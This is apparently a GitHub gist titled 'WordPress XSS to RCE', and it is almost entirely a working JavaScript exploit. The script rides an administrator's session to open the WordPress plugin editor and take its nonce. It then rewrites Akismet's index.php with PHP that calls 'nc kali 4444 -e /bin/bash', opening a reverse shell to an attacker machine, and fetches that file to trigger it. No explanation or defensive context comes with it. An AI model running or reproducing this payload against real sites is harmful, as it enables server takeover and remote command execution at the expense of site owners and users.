Skip to content

Instantly share code, notes, and snippets.

@LukaSikic
Created May 19, 2019 21:32
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save LukaSikic/48f30805b10e2a4dfd6858ebdb304be9 to your computer and use it in GitHub Desktop.
Save LukaSikic/48f30805b10e2a4dfd6858ebdb304be9 to your computer and use it in GitHub Desktop.
WordPress XSS to RCE
u = "/wp-admin/plugin-editor.php"
p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
var x = new XMLHttpRequest();
var r=0
x.open('GET',u+"?"+ p,1);
x.send(null);
x.onreadystatechange = function() {
if (x.readyState === 4 && r != 1) {
n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
x.open("POST", u, 1)
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
x.send(p + "&nonce=" + n + "&newcontent=%3C%3Fphp%20exec%28%27nc%20kali%204444%20-e%20%2Fbin%2Fbash%27%29%3B%20%3F%3E&action=edit-theme-plugin-file")
r = 1
} else {
fetch('/wp-content/plugins/akismet/index.php')
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment